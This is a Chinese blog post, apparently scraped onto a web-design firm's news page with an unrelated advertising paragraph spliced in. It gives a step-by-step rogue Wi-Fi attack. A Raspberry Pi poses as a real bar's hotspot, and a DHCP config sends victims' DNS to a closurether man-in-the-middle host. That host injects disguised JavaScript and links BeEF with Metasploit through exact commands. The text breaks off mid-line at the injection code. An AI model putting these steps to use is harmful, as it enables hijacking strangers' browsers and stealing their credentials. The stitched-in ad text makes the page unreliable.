新聞中心
半個月前看了???EtherDream寫的那篇wifi流量劫持和JS投毒,隨手就在公司實驗室里折騰了一下,頭一次接觸這個領(lǐng)域,感覺挺新鮮的。然后又看到sh4dow@lcx.cc寫了一篇《內(nèi)網(wǎng)DNS投毒技術(shù)劫持會話》,我決定把我做的東西也分享一下。

十載的花垣網(wǎng)站建設(shè)經(jīng)驗,針對設(shè)計、前端、開發(fā)、售后、文案、推廣等六對一服務(wù),響應(yīng)快,48小時及時工作處理。成都全網(wǎng)營銷推廣的優(yōu)勢是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動調(diào)整花垣建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計,從而大程度地提升瀏覽體驗。成都創(chuàng)新互聯(lián)公司從事“花垣網(wǎng)站設(shè)計”,“花垣網(wǎng)站推廣”以來,每個客戶項目都認真落實執(zhí)行。
0×01 攻擊思路
1、用樹莓派建立一個AP,誘使別人過來連接。
2、在樹莓派里,設(shè)定DNS,指向一臺代理主機(其實就是中間人)。
3、在代理主機上運行closurether,進行JS投毒。
4、投毒可以有很多種,closurether的原作者是設(shè)計了一個可以截獲用戶的登陸時候輸入的用戶名和密碼,但是那個鏈接已經(jīng)失效了,自己又不會寫js,所以就改用別的思路。這里我選擇了BeEF框架進行配合,在流量中插入hook.js。
5、既然BeEF可以配合MSF來攻擊瀏覽器,那這里自然也少不了MSF的戲份。
0×02 工具準備
EDUP 迷你USB無線網(wǎng)卡 免驅(qū)動 (RTL8188CUS)
Raspberry Pi,系統(tǒng)鏡像是Raspbian
團隊的Summer建議我用TP-Link TL-WR703N 刷一個openWRT,便攜而且還可以實現(xiàn)很多其他的功能。
這個想法還沒有去嘗試,openWRT刷進路由以后,路由就沒有任何空間來安裝其他的東西了。
0×03 改造樹莓派
首先讓樹莓派運行起來,玩過的人都知道怎么弄,下載鏡像,寫入鏡像,不做贅述。
其次是讓樹莓派作為一個路由器運行起來
詳細的可以看這里:http://www.daveconroy.com/using-your-raspberry-pi-as-a-wireless-router-and-web-server/
這是使用樹莓派建立無線AP的最早一篇文章。這里講的非常詳細,包括原理和具體配置都列舉出來了,照著一步步坐下來,不會出太大意外。
這里偽造的wifi是我以前學調(diào)酒的那間酒吧用的,我?guī)煾甘荓avazza的頂級咖啡師。不過那家酒吧關(guān)門了……在南京的童鞋如果有興趣,還是有地方可以讓我調(diào)酒的。
0×04建立中間人
在JS緩存投毒的文章中,作者給了非常詳細的原理解釋,并給出了實現(xiàn)代碼。
我測試的平臺是Mac OS X 10.0(黑蘋果),安裝簡易,沒有發(fā)生任何狀況。
首先需要安裝node.js
然后安裝closurether
npm install -g closurether
運行closurether
closurether
closurether運行成功的話,就會看到下面的信息(linux下運行closurether需要的權(quán)限比較高,windows不能開啟其他占用80、443端口的服務(wù))
sudo closurether
Password:
[SYS] local ip: 172.16.6.37
[DNS] running 0.0.0.0:53
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443
這個時候如果設(shè)置瀏覽器的代理指向127.0.0.1:80就可以看到closurether劫持的所有流量,包括DNS解析和http請求
如果你這么做了,不妨在瀏覽器中查看源碼,你會看到源碼中已經(jīng)被植入了一個script標簽,這個就是被closurether植入的攻擊代碼。
為了偽裝,把地址寫成了http://10086.cn/js10086/201306301200.js
但實際上,10086.cn上可不會有這么個文件….好一手栽贓嫁禍,我是偽裝成了google-analytis的站點分析腳本
使用的攻擊腳本和偽裝都可以在config.json文件中修改
0×05修改DNS
依然已經(jīng)準備了代理(中間人),那么就需要讓流量指向代理,前面說設(shè)置瀏覽器代理可以實現(xiàn),但最理想的還是作者提供的修改DNS
修改DNS,指向代理服務(wù)器,那么所有使用這個wifi上網(wǎng)的人解析域名就都解析到了代理服務(wù)器,DNS解析之后,再把http流量也指向代理服務(wù)器,就順理成章的使closurether成為了中間人
在樹莓派的DHCP中設(shè)置:
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.1 192.168.1.254;
option routers 192.168.1.1;
option domain-name-servers 172.16.6.37;
interface wlan0;
}172.16.6.37也就是我本機
那么這個時候,連接到這個wifi的設(shè)備進行DNS解析的時候,得到的結(jié)果都是172.16.6.37
然后,其他的請求也就都指向了代理。
PS:closurether作者考慮的很周到,js投毒只能針對http或https協(xié)議,如果是其他的協(xié)議,那么在第二次請求的時候就把真實的DNS請求結(jié)果反饋給客戶端,這樣就不會那么容易被發(fā)現(xiàn)了。
0X06 BeEF和MSF
別人的文章里比我寫的要清楚,就不多說了
但是目前關(guān)于BeEF使用的文章還比較少,還在陸續(xù)的挖掘其中的功能。
主要是需要建立BeEF和MSF的協(xié)作
使用
msfconsole -r beef.rc
來建立一個MSF的XMLRPC服務(wù),然后BeEF啟動以后會自動調(diào)用
beef.rc的內(nèi)容如下:
load xmlrpc ServerHost=<服務(wù)器IP> Pass=<密碼> ServerType=Web
0×07 把毒藥撒向天空,讓它隨風飄揚(此處應(yīng)有反派出場的音樂)
closurether中做如下修改:
修改asset/inject/extern.js,在function中增加:
- var commandModuleStr = '


咨詢
建站咨詢